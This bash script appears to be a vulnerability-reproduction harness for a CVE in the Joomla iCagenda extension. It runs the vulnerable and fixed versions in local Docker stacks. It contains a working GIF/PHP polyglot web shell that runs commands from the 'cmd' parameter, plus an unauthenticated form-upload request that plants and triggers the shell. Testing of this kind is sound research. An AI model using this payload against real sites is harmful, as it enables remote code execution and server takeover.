#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
VARIANT_DIR="$ROOT/vuln_variant"
LOGS="$ROOT/logs/vuln_variant"
mkdir -p "$VARIANT_DIR" "$LOGS"

LOGFILE="$LOGS/reproduction_steps.log"
: > "$LOGFILE"
exec > >(tee -a "$LOGFILE")
exec 2>&1

info() { echo "[INFO] $(date -Iseconds) $*"; }
warn() { echo "[WARN] $(date -Iseconds) $*"; }
err()  { echo "[ERROR] $(date -Iseconds) $*"; }

ENTRYPOINT_DETAIL="Joomla iCagenda public event submission form endpoint /index.php?option=com_icagenda&task=submit.submit, alternate jform[image] upload field"
VULN_PORT="18239"
FIXED_PORT="18240"
JOOMLA_IMAGE="joomla:6.0-php8.3-apache"
MYSQL_IMAGE="mysql:8.0"
MYSQL_ROOT_PASSWORD="rootpass"
MYSQL_DATABASE="joomla"
MYSQL_USER="joomla"
MYSQL_PASSWORD="joomlapass"
JOOMLA_PREFIX="jos_"
HOST_IP=$(ip route show default | awk '{print $3; exit}')

VULN_URL="https://www.joomlic.com/download/icagenda/icagenda-core-4-0-7/package-icagenda-core-4-0-7-zip"
FIXED_URL="https://www.joomlic.com/download/icagenda/icagenda-core-4-0-8/package-icagenda-core-4-0-8-zip"

CACHE_ROOT="$ROOT/artifacts/icagenda"
if [ -f "$ROOT/project_cache_context.json" ]; then
  prepared=$(jq -r '.prepared // false' "$ROOT/project_cache_context.json" 2>/dev/null || echo false)
  cache_dir=$(jq -r '.project_cache_dir // empty' "$ROOT/project_cache_context.json" 2>/dev/null || true)
  if [ "$prepared" = "true" ] && [ -n "$cache_dir" ] && [ -d "$cache_dir" ]; then
    CACHE_ROOT="$cache_dir/repo"
  fi
fi
mkdir -p "$CACHE_ROOT"
VULN_ZIP="$CACHE_ROOT/icagenda-4-0-7-package.zip"
FIXED_ZIP="$CACHE_ROOT/icagenda-4-0-8-package.zip"

CURRENT_STACKS=()
SERVICE_STARTED=false
HEALTHCHECK_PASSED=false
TARGET_PATH_REACHED=false
VULN_IMAGE_RCE=false
FIXED_IMAGE_RCE=false
VULN_IMAGE_STORED=false
FIXED_IMAGE_STORED=false
FINAL_NOTES="variant image-field test started"

write_runtime_manifest() {
  jq -n \
    --arg entrypoint_kind "endpoint" \
    --arg entrypoint_detail "$ENTRYPOINT_DETAIL" \
    --argjson service_started "$SERVICE_STARTED" \
    --argjson healthcheck_passed "$HEALTHCHECK_PASSED" \
    --argjson target_path_reached "$TARGET_PATH_REACHED" \
    --argjson vuln_image_rce "$VULN_IMAGE_RCE" \
    --argjson fixed_image_rce "$FIXED_IMAGE_RCE" \
    --argjson vuln_image_stored "$VULN_IMAGE_STORED" \
    --argjson fixed_image_stored "$FIXED_IMAGE_STORED" \
    --argjson runtime_stack "[\"$MYSQL_IMAGE\",\"$JOOMLA_IMAGE\",\"icagenda 4.0.7 vulnerable control\",\"icagenda 4.0.8 fixed target\"]" \
    --argjson proof_artifacts '["logs/vuln_variant/reproduction_steps.log","logs/vuln_variant/vulnerable_source.log","logs/vuln_variant/fixed_source.log","logs/vuln_variant/vulnerable_version.txt","logs/vuln_variant/fixed_version.txt","vuln_variant/form_page_vulnerable.html","vuln_variant/form_page_fixed.html","vuln_variant/upload_image_vulnerable.log","vuln_variant/upload_image_fixed.log","vuln_variant/fetch_image_vulnerable_php.log","vuln_variant/fetch_image_vulnerable_gif.log","vuln_variant/fetch_image_fixed_php.log","vuln_variant/fetch_image_fixed_gif.log","vuln_variant/submitted_images_vulnerable.txt","vuln_variant/submitted_images_fixed.txt"]' \
    --arg notes "$FINAL_NOTES" \
    '{entrypoint_kind:$entrypoint_kind,entrypoint_detail:$entrypoint_detail,service_started:$service_started,healthcheck_passed:$healthcheck_passed,target_path_reached:$target_path_reached,runtime_stack:$runtime_stack,variant_observations:{vulnerable_image_rce:$vuln_image_rce,fixed_image_rce:$fixed_image_rce,vulnerable_image_stored:$vuln_image_stored,fixed_image_stored:$fixed_image_stored},proof_artifacts:$proof_artifacts,notes:$notes}' \
    > "$VARIANT_DIR/runtime_manifest.json" || true
}

cleanup_stacks() {
  local f
  for f in "${CURRENT_STACKS[@]:-}"; do
    if [ -f "$f" ]; then
      sudo docker-compose -f "$f" down -v --remove-orphans >/dev/null 2>&1 || true
    fi
  done
}

on_exit() {
  local status=$1
  cleanup_stacks
  if [ "$FIXED_IMAGE_RCE" = true ]; then
    FINAL_NOTES="Confirmed bypass: fixed iCagenda executed PHP delivered through the alternate image upload field."
  elif [ "$status" -eq 1 ]; then
    FINAL_NOTES="No bypass confirmed: the alternate public image upload field was reached and stored image/gif content, but neither iCagenda 4.0.7 nor fixed 4.0.8 executed the uploaded payload as PHP in the tested Joomla Apache runtime."
  elif [ "$status" -ne 0 ]; then
    FINAL_NOTES="Variant script failed before a complete verdict; inspect logs/vuln_variant/reproduction_steps.log."
  fi
  write_runtime_manifest
}
trap 'on_exit $?' EXIT

ensure_docker_compose() {
  sudo docker ps >/dev/null 2>&1 || { err "Docker is not reachable via sudo"; exit 2; }
  if command -v docker-compose >/dev/null 2>&1; then
    return 0
  fi
  info "docker-compose not found; installing compose v2.27.0"
  sudo curl -fsSL -o /usr/local/bin/docker-compose "https://github.com/docker/compose/releases/download/v2.27.0/docker-compose-linux-x86_64"
  sudo chmod +x /usr/local/bin/docker-compose
  docker-compose version >/dev/null
}

download_zip() {
  local url="$1" dest="$2"
  if [ -s "$dest" ]; then
    info "Reusing cached $(basename "$dest") at $dest"
    return 0
  fi
  info "Downloading $(basename "$dest")"
  curl -fsSL -o "$dest" "$url"
}

write_payloads() {
  # A valid 1x1 GIF header followed by PHP. If iCagenda preserves a PHP extension
  # through the image field and Apache executes it, the cmd=id output will appear.
  for role in vulnerable fixed; do
    local out="$VARIANT_DIR/polyglot-image-${role}.php"
    python3 - "$out" "$role" <<'PY'
import base64, sys
out, role = sys.argv[1], sys.argv[2]
gif = base64.b64decode('R0lGODlhAQABAIAAAAAAAP///ywAAAAAAQABAAACAUwAOw==')
php = ("\n<?php\n"
       "header('Content-Type: text/plain');\n"
       f"echo 'PRUVA_IMAGE_FIELD_EXECUTED_{role.upper()}\\n';\n"
       "if (isset($_GET['cmd'])) { echo shell_exec($_GET['cmd'] . ' 2>&1'); }\n"
       "?>\n").encode()
open(out, 'wb').write(gif + php)
PY
    chmod 0644 "$out"
  done
}

write_compose() {
  local workdir="$1" port="$2" package_zip="$3"
  mkdir -p "$workdir"
  cat > "$workdir/docker-compose.yml" <<EOF
services:
  db:
    image: ${MYSQL_IMAGE}
    environment:
      MYSQL_ROOT_PASSWORD: ${MYSQL_ROOT_PASSWORD}
      MYSQL_DATABASE: ${MYSQL_DATABASE}
      MYSQL_USER: ${MYSQL_USER}
      MYSQL_PASSWORD: ${MYSQL_PASSWORD}
    command: --default-authentication-plugin=mysql_native_password
    healthcheck:
      test: ["CMD", "mysqladmin", "ping", "-h", "localhost", "-u", "root", "-p${MYSQL_ROOT_PASSWORD}"]
      interval: 5s
      timeout: 5s
      retries: 20
  joomla:
    image: ${JOOMLA_IMAGE}
    ports:
      - "${port}:80"
    environment:
      JOOMLA_DB_HOST: db
      JOOMLA_DB_NAME: ${MYSQL_DATABASE}
      JOOMLA_DB_USER: ${MYSQL_USER}
      JOOMLA_DB_PASSWORD: ${MYSQL_PASSWORD}
      JOOMLA_DB_PREFIX: ${JOOMLA_PREFIX}
      JOOMLA_SITE_NAME: iCagendaVariant
      JOOMLA_ADMIN_USER: Administrator
      JOOMLA_ADMIN_USERNAME: admin
      JOOMLA_ADMIN_PASSWORD: AdminP@ssw0rd123
      JOOMLA_ADMIN_EMAIL: admin@example.com
    volumes:
      - ${package_zip}:/tmp/icagenda-package.zip:ro
    depends_on:
      db:
        condition: service_healthy
EOF
}

DC() {
  local compose_file="$1"; shift
  sudo docker-compose -f "$compose_file" "$@"
}

wait_for_joomla() {
  local port="$1" role="$2" deadline=$((SECONDS + 240)) code=""
  info "Waiting for Joomla ${role} on http://${HOST_IP}:${port}/"
  while [ $SECONDS -lt $deadline ]; do
    code=$(curl -s -o /dev/null -w '%{http_code}' "http://${HOST_IP}:${port}/" || true)
    if [ "$code" = "200" ]; then
      SERVICE_STARTED=true
      HEALTHCHECK_PASSED=true
      info "Joomla ${role} healthcheck passed"
      return 0
    fi
    sleep 5
  done
  err "Joomla ${role} did not become healthy; last HTTP code ${code:-none}"
  return 1
}

install_extension() {
  local workdir="$1" role="$2" ext_url="$3" version_txt="$LOGS/${role}_version.txt" compose="$workdir/docker-compose.yml"
  info "Installing iCagenda package for ${role} from ${ext_url}"
  DC "$compose" exec -T joomla php /var/www/html/cli/joomla.php extension:install --url="${ext_url}"
  DC "$compose" exec -T joomla sh -lc 'chown -R www-data:www-data /var/www/html/images /var/www/html/components/com_icagenda /var/www/html/administrator/components/com_icagenda /var/www/html/media/com_icagenda 2>/dev/null || true'
  {
    echo "role=${role}"
    echo "package_url=${ext_url}"
    if [ "$role" = vulnerable ]; then sha256sum "$VULN_ZIP" || true; else sha256sum "$FIXED_ZIP" || true; fi
    DC "$compose" exec -T joomla sh -lc 'php -v | head -1; apache2 -v | head -1; grep -n "<version>" /var/www/html/administrator/components/com_icagenda/icagenda.xml || true; grep -nE "MediaHelper|canUpload|function frontendFileUpload|function frontendImageUpload|File::upload" /var/www/html/components/com_icagenda/src/Model/SubmitModel.php | head -80' || true
  } > "$version_txt" 2>&1
  cp "$version_txt" "$LOGS/${role}_source.log" 2>/dev/null || true
  info "Source/version evidence for ${role} saved to ${version_txt}"
}

configure_icagenda() {
  local workdir="$1" role="$2" compose="$workdir/docker-compose.yml" sql="$workdir/configure.sql"
  cat > "$sql" <<EOF
USE ${MYSQL_DATABASE};
INSERT INTO ${JOOMLA_PREFIX}icagenda_category (title, alias, state, color, \`desc\`, \`groups\`, language, params, note)
SELECT 'Public Category', 'public-category', 1, '', '', '', '*', '{}', ''
FROM DUAL
WHERE NOT EXISTS (SELECT 1 FROM ${JOOMLA_PREFIX}icagenda_category WHERE state = 1 LIMIT 1);

UPDATE ${JOOMLA_PREFIX}extensions
SET params = JSON_SET(
  COALESCE(params, '{}'),
  '\$.submitAccess', JSON_ARRAY('1'),
  '\$.submit_fileDisplay', '1'
)
WHERE element = 'com_icagenda' AND type = 'component';

SET @component_id := (SELECT extension_id FROM ${JOOMLA_PREFIX}extensions WHERE element = 'com_icagenda' AND type = 'component' LIMIT 1);
SET @maxrgt := (SELECT COALESCE(MAX(rgt), 100) FROM ${JOOMLA_PREFIX}menu);
INSERT INTO ${JOOMLA_PREFIX}menu
  (menutype, title, alias, note, path, link, type, published, parent_id, level, component_id, browserNav, access, img, template_style_id, params, lft, rgt, home, language, client_id, publish_up, publish_down)
SELECT
  'mainmenu', 'Submit Event', 'submit-event', '', 'submit-event', 'index.php?option=com_icagenda&view=submit', 'component', 1, 1, 1, @component_id, 0, 1, '', 0, '{"menu_show":1,"show_page_heading":"1"}', @maxrgt + 1, @maxrgt + 2, 0, '*', 0, NULL, NULL
WHERE NOT EXISTS (SELECT 1 FROM ${JOOMLA_PREFIX}menu WHERE alias = 'submit-event' AND client_id = 0);
UPDATE ${JOOMLA_PREFIX}menu SET rgt = GREATEST(rgt, @maxrgt + 3) WHERE id = 1;
EOF
  info "Configuring public iCagenda submit menu/form for ${role}"
  DC "$compose" exec -T db mysql -u root -p"${MYSQL_ROOT_PASSWORD}" "${MYSQL_DATABASE}" < "$sql"
  DC "$compose" exec -T joomla php /var/www/html/cli/joomla.php cache:clean >/dev/null 2>&1 || true
}

extract_form_token() {
  local port="$1" role="$2" itemid="$3" cookies="$4" form_out="$VARIANT_DIR/form_page_${role}.html"
  curl -s -L -c "$cookies" -b "$cookies" "http://${HOST_IP}:${port}/index.php?option=com_icagenda&view=submit&Itemid=${itemid}" > "$form_out"
  if ! grep -q 'id="icagenda-submit"' "$form_out" || ! grep -q 'name="jform\[image\]"' "$form_out"; then
    err "Public submit form for ${role} did not contain expected iCagenda form/image field; saved ${form_out}"
    return 1
  fi
  CSRF_TOKEN=$(grep -oE 'csrf\.token":"[0-9a-f]{32}"' "$form_out" | head -n1 | sed 's/.*"\([0-9a-f]\{32\}\)".*/\1/')
  if [ -z "${CSRF_TOKEN:-}" ]; then
    CSRF_TOKEN=$(grep -oE '<input[^>]*name="[0-9a-f]{32}"[^>]*value="1"' "$form_out" | head -n1 | grep -oE 'name="[0-9a-f]{32}"' | sed 's/name="//;s/"$//')
  fi
  if [ -z "${CSRF_TOKEN:-}" ]; then
    err "Could not extract CSRF token for ${role}"
    return 1
  fi
  TARGET_PATH_REACHED=true
}

run_image_variant() {
  local role="$1" port="$2" workdir="$3" payload="$4"
  local compose="$workdir/docker-compose.yml" cookies="$VARIANT_DIR/cookies_${role}.txt"
  local upload_out="$VARIANT_DIR/upload_image_${role}.log"
  local fetch_php="$VARIANT_DIR/fetch_image_${role}_php.log"
  local fetch_gif="$VARIANT_DIR/fetch_image_${role}_gif.log"
  local itemid catid upload_filename stored_gif php_url gif_url php_code gif_code
  rm -f "$cookies" "$upload_out" "$fetch_php" "$fetch_gif" "$VARIANT_DIR/submitted_images_${role}.txt"

  itemid=$(DC "$compose" exec -T db mysql -u root -p"${MYSQL_ROOT_PASSWORD}" -N -B -e "SELECT id FROM ${MYSQL_DATABASE}.${JOOMLA_PREFIX}menu WHERE alias='submit-event' AND client_id=0 LIMIT 1;" 2>/dev/null | tail -n1)
  catid=$(DC "$compose" exec -T db mysql -u root -p"${MYSQL_ROOT_PASSWORD}" -N -B -e "SELECT id FROM ${MYSQL_DATABASE}.${JOOMLA_PREFIX}icagenda_category WHERE state=1 LIMIT 1;" 2>/dev/null | tail -n1)
  if ! [[ "$itemid" =~ ^[0-9]+$ ]] || ! [[ "$catid" =~ ^[0-9]+$ ]]; then
    err "Could not determine itemid/catid for ${role} (itemid=${itemid:-}, catid=${catid:-})"
    return 1
  fi

  extract_form_token "$port" "$role" "$itemid" "$cookies"
  info "${role}: public form reached with Itemid=${itemid}, catid=${catid}, CSRF=${CSRF_TOKEN}"

  upload_filename="pruva-image-field-${role}.php"
  stored_gif="pruva-image-field-${role}.gif"
  info "${role}: submitting unauthenticated event form with image-field GIF/PHP polyglot named ${upload_filename}"
  curl --max-time 60 -s -L -i -c "$cookies" -b "$cookies" \
    -F "jform[username]=attacker" \
    -F "jform[created_by_email]=attacker@example.com" \
    -F "jform[title]=Image Field Variant ${role}" \
    -F "jform[catid]=${catid}" \
    -F "jform[startdate]=2026-07-06 00:00:00" \
    -F "jform[enddate]=2026-07-07 00:00:00" \
    -F "jform[itemid]=${itemid}" \
    -F "jform[itemid_title]=Submit Event" \
    -F "jform[consent][consent_tos]=tos" \
    -F "jform[image]=@${payload};filename=${upload_filename};type=image/gif" \
    -F "${CSRF_TOKEN}=1" \
    -F "itemID=${itemid}" \
    -F "option=com_icagenda" \
    -F "task=submit.submit" \
    "http://${HOST_IP}:${port}/index.php?option=com_icagenda&task=submit.submit" > "$upload_out" 2>&1 || true

  DC "$compose" exec -T joomla sh -lc 'if [ -d /var/www/html/images/icagenda/frontend/images ]; then find /var/www/html/images/icagenda/frontend/images -maxdepth 1 -type f -printf "%f %s bytes\n" | sort; else echo "images directory absent"; fi' \
    > "$VARIANT_DIR/submitted_images_${role}.txt" 2>&1 || true
  cat "$VARIANT_DIR/submitted_images_${role}.txt"
  if grep -q "$stored_gif" "$VARIANT_DIR/submitted_images_${role}.txt"; then
    if [ "$role" = vulnerable ]; then VULN_IMAGE_STORED=true; else FIXED_IMAGE_STORED=true; fi
  fi

  php_url="http://${HOST_IP}:${port}/images/icagenda/frontend/images/pruva-image-field-${role}.php?cmd=id"
  gif_url="http://${HOST_IP}:${port}/images/icagenda/frontend/images/${stored_gif}?cmd=id"
  info "${role}: requesting would-be preserved PHP image URL ${php_url}"
  php_code=$(curl --max-time 30 -s -i -o "$fetch_php" -w '%{http_code}' "$php_url" || true)
  info "${role}: PHP image URL returned HTTP ${php_code}"
  sed -n '1,35p' "$fetch_php" || true

  info "${role}: requesting stored GIF image URL ${gif_url}"
  gif_code=$(curl --max-time 30 -s -i -o "$fetch_gif" -w '%{http_code}' "$gif_url" || true)
  info "${role}: GIF image URL returned HTTP ${gif_code}"
  sed -n '1,35p' "$fetch_gif" || true

  if grep -aq 'uid=33(www-data)' "$fetch_php" "$fetch_gif"; then
    if [ "$role" = vulnerable ]; then VULN_IMAGE_RCE=true; else FIXED_IMAGE_RCE=true; fi
    warn "${role}: image-field payload executed as PHP"
  else
    info "${role}: image-field payload did not execute as PHP"
  fi
}

stack_down() {
  local workdir="$1"
  if [ -f "$workdir/docker-compose.yml" ]; then
    DC "$workdir/docker-compose.yml" down -v --remove-orphans >/dev/null 2>&1 || true
  fi
}

run_attempt() {
  local role="$1" port="$2" zip="$3" ext_url="$4" payload="$5"
  local workdir="$VARIANT_DIR/${role}_stack"
  local compose="$workdir/docker-compose.yml"
  info "===== Starting ${role} product stack on port ${port} ====="
  stack_down "$workdir" || true
  rm -rf "$workdir"
  write_compose "$workdir" "$port" "$zip"
  CURRENT_STACKS+=("$compose")
  DC "$compose" up -d
  wait_for_joomla "$port" "$role"
  install_extension "$workdir" "$role" "$ext_url"
  configure_icagenda "$workdir" "$role"
  run_image_variant "$role" "$port" "$workdir" "$payload"
  DC "$compose" logs --no-color joomla > "$LOGS/${role}_container.log" 2>&1 || true
  stack_down "$workdir"
}

info "CVE-2026-48939 variant search reproduction starting"
info "Testing alternate public image-upload field against vulnerable 4.0.7 and fixed 4.0.8"
info "Using cache root: ${CACHE_ROOT}"
info "Docker host IP from worker: ${HOST_IP}"
ensure_docker_compose
write_payloads
download_zip "$VULN_URL" "$VULN_ZIP"
download_zip "$FIXED_URL" "$FIXED_ZIP"

run_attempt "vulnerable" "$VULN_PORT" "$VULN_ZIP" "$VULN_URL" "$VARIANT_DIR/polyglot-image-vulnerable.php"
run_attempt "fixed" "$FIXED_PORT" "$FIXED_ZIP" "$FIXED_URL" "$VARIANT_DIR/polyglot-image-fixed.php"

if [ "$FIXED_IMAGE_RCE" = true ]; then
  info "Variant reproduced on fixed iCagenda 4.0.8: image-field PHP execution confirmed"
  exit 0
fi

info "No fixed-version bypass reproduced. Vulnerable image RCE=${VULN_IMAGE_RCE}; fixed image RCE=${FIXED_IMAGE_RCE}; vulnerable stored=${VULN_IMAGE_STORED}; fixed stored=${FIXED_IMAGE_STORED}."
exit 1
